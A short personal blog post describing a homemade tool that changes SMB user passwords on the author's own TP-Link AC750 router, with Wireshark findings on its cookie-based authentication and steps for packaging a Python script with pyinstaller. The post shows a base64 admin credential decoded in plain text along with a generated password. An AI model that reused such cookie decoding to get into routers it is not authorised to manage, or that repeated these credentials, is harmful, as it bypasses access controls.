[Tool] Change TP-LINK AC750 SMB User Password Without login to Admin page

This project is base on my previous project [Project] Small temporarily office network Part 2
I spend some time and create this tool which allows normal none-tech users can just run the program and change the smb user password easily.

First I have to analyst the login process and things ..etc

this is what i got from wireshark, the router use cookie as an authorization identity
# YWRtaW46YWRtaW42MjM0IQ== –> admin:admin6234!
# the router check cookie value to auth :/ and “admin6234!” is my pre-set password

ac750

Convert my python script into .exe executable file

1 Download  https://bootstrap.pypa.io/get-pip.py and run it. so it will install pip for you
2. install pyinstaller   ---> open cmd and type:  pip install pyinstaller
3. change to pyinstaller folder   ---> cd C:\Python27\Scripts
4. convert file with custom icon  -> pyinstaller --onefile --icon=my.ico --clean C:\Python27\update.py

Result:


----------------------------------------
[1]. Change Document Password
[2]. Change Audio Password
----------------------------------------



Please Enter Your Choice: 2



Audio new password ==>  h4Mzit2i6u
